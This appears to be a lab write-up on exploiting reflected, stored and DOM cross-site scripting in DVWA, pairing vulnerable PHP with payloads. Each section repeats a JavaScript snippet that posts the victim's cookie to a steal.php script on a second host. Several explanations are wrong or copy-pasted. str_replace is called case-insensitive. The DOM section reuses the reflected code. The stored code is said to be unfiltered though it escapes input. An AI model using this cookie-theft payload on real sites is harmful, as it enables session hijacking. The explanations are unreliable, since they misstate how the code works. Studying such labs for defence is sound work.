Cross-Site Scripting (XSS) Vulnerabilities in DVWA
Brief Introduction
This article explores three types of XSS vulnerabilities in the DVWA (Damn Vulnerable Web Application) framework, specifically focusing on reflective XSS, storage XSS, and DOM XSS. We will examine how to exploit these vulnerabilities to obtain sensitive user data, such as cookies.
Reflective XSS
Test Environment
To test the reflective XSS vulnerability, we set up a virtual machine with Windows 2003 (IP: 192.168.50.128) and WAMP integrated environment, running DVWA on port 8080. We also set up a virtual machine with Windows 7 (IP: 192.168.50.150) to serve as a vulnerable website, built using PHPStudy.
Low-Level Vulnerability
The low-level vulnerability is demonstrated by the following PHP code:
<?php
// Is there any input?
if (array_key_exists("name", $_GET) && $_GET['name'] != NULL) {
// Feedback for end user
echo '<pre>Hello' . $_GET['name'] . '</pre>';
}
?>
This code simply outputs the value of the “name” GET parameter without any filtering. We can exploit this by submitting a malicious payload, such as <script>alert("XSS")</script>. To verify the existence of XSS, we can use a JavaScript code snippet to load a remote script from our Windows 7 server:
document.write('<form action="http://192.168.50.150/dvwaxss/steal.php" name="exploit" method="post" style="display: none">');
document.write('<input type="hidden" name="data" value="' + document.cookie + '">');
document.write('</form>');
document.exploit.submit();
This code constructs a hidden form with a hidden field containing the current cookie value and submits it to steal.php on the same directory.
Medium-Level Vulnerability
The medium-level vulnerability is demonstrated by the following PHP code:
<?php
// Is there any input?
if (array_key_exists("name", $_GET) && $_GET['name'] != NULL) {
// Get input
$name = str_replace('<script>', ' ', $_GET['name']);
// Feedback for end user
echo "<pre>Hello $name</pre>";
}
?>
This code replaces the <script> tag with a space, but this replacement is case-insensitive and only occurs once. We can exploit this by submitting a malicious payload, such as <Script>alert("XSS")</Script>. To verify the existence of XSS, we can use a JavaScript code snippet to load a remote script from our Windows 7 server:
document.write('<form action="http://192.168.50.150/dvwaxss/steal.php" name="exploit" method="post" style="display: none">');
document.write('<input type="hidden" name="data" value="' + document.cookie + '">');
document.write('</form>');
document.exploit.submit();
This code constructs a hidden form with a hidden field containing the current cookie value and submits it to steal.php on the same directory.
High-Level Vulnerability
The high-level vulnerability is demonstrated by the following PHP code:
<?php
// Is there any input?
if (array_key_exists("name", $_GET) && $_GET['name'] != NULL) {
// Get input
$name = preg_replace('/<(.*) (.*) s c r i p t/i', ' ', $_GET['name']);
// Feedback for end user
echo "<pre>Hello $name</pre>";
}
?>
This code uses a regular expression to replace the <script> tag with a space. However, this regular expression only filters out the script tag, allowing other JavaScript events to execute. We can exploit this by submitting a malicious payload, such as <Img src=# onerror=alert("XSS")>. To verify the existence of XSS, we can use a JavaScript code snippet to load a remote script from our Windows 7 server:
document.write('<form action="http://192.168.50.150/dvwaxss/steal.php" name="exploit" method="post" style="display: none">');
document.write('<input type="hidden" name="data" value="' + document.cookie + '">');
document.write('</form>');
document.exploit.submit();
This code constructs a hidden form with a hidden field containing the current cookie value and submits it to steal.php on the same directory.
Storage XSS
The storage XSS vulnerability is demonstrated by the following PHP code:
<?php
// Is there any input?
if (isset($_POST['btnSign'])) {
// Get input
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
// Sanitize message input
$message = stripslashes($message);
$message = ((isset($GLOBALS['___mysqli_ston']) && is_object($GLOBALS['___mysqli_ston'])) ? mysqli_real_escape_string($GLOBALS['___mysqli_ston'], $message) : "");
// Sanitize name input
$name = ((isset($GLOBALS['___mysqli_ston']) && is_object($GLOBALS['___mysqli_ston'])) ? mysqli_real_escape_string($GLOBALS['___mysqli_ston'], $name) : "");
// Update database
$query = "INSERT INTO guestbook (comment, name) VALUES ('$message', '$name');";
$result = mysqli_query($GLOBALS['___mysqli_ston'], $query) or die('<pre>' . ((is_object($GLOBALS['___mysqli_ston'])) ? mysqli_error($GLOBALS['___mysqli_ston']) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>');
}
?>
This code updates the guestbook database with user input without any filtering. We can exploit this by submitting a malicious payload, such as <script>alert("XSS")</script>. To verify the existence of XSS, we can use a JavaScript code snippet to load a remote script from our Windows 7 server:
document.write('<form action="http://192.168.50.150/dvwaxss/steal.php" name="exploit" method="post" style="display: none">');
document.write('<input type="hidden" name="data" value="' + document.cookie + '">');
document.write('</form>');
document.exploit.submit();
This code constructs a hidden form with a hidden field containing the current cookie value and submits it to steal.php on the same directory.
DOM XSS
The DOM XSS vulnerability is demonstrated by the following PHP code:
<?php
// Is there any input?
if (array_key_exists("name", $_GET) && $_GET['name'] != NULL) {
// Get input
$name = preg_replace('/<(.*) (.*) s c r i p t/i', ' ', $_GET['name']);
// Feedback for end user
echo "<pre>Hello $name</pre>";
}
?>
This code uses a regular expression to replace the <script> tag with a space. However, this regular expression only filters out the script tag, allowing other JavaScript events to execute. We can exploit this by submitting a malicious payload, such as <Img src=# onerror=alert("XSS")>. To verify the existence of XSS, we can use a JavaScript code snippet to load a remote script from our Windows 7 server:
document.write('<form action="http://192.168.50.150/dvwaxss/steal.php" name="exploit" method="post" style="display: none">');
document.write('<input type="hidden" name="data" value="' + document.cookie + '">');
document.write('</form>');
document.exploit.submit();
This code constructs a hidden form with a hidden field containing the current cookie value and submits it to steal.php on the same directory.
Conclusion
In conclusion, the DVWA framework provides a comprehensive testing environment for exploring various types of XSS vulnerabilities, including reflective XSS, storage XSS, and DOM XSS. By understanding the underlying code and exploiting these vulnerabilities, we can obtain sensitive user data, such as cookies. It is essential to implement proper input validation and filtering to prevent these types of attacks.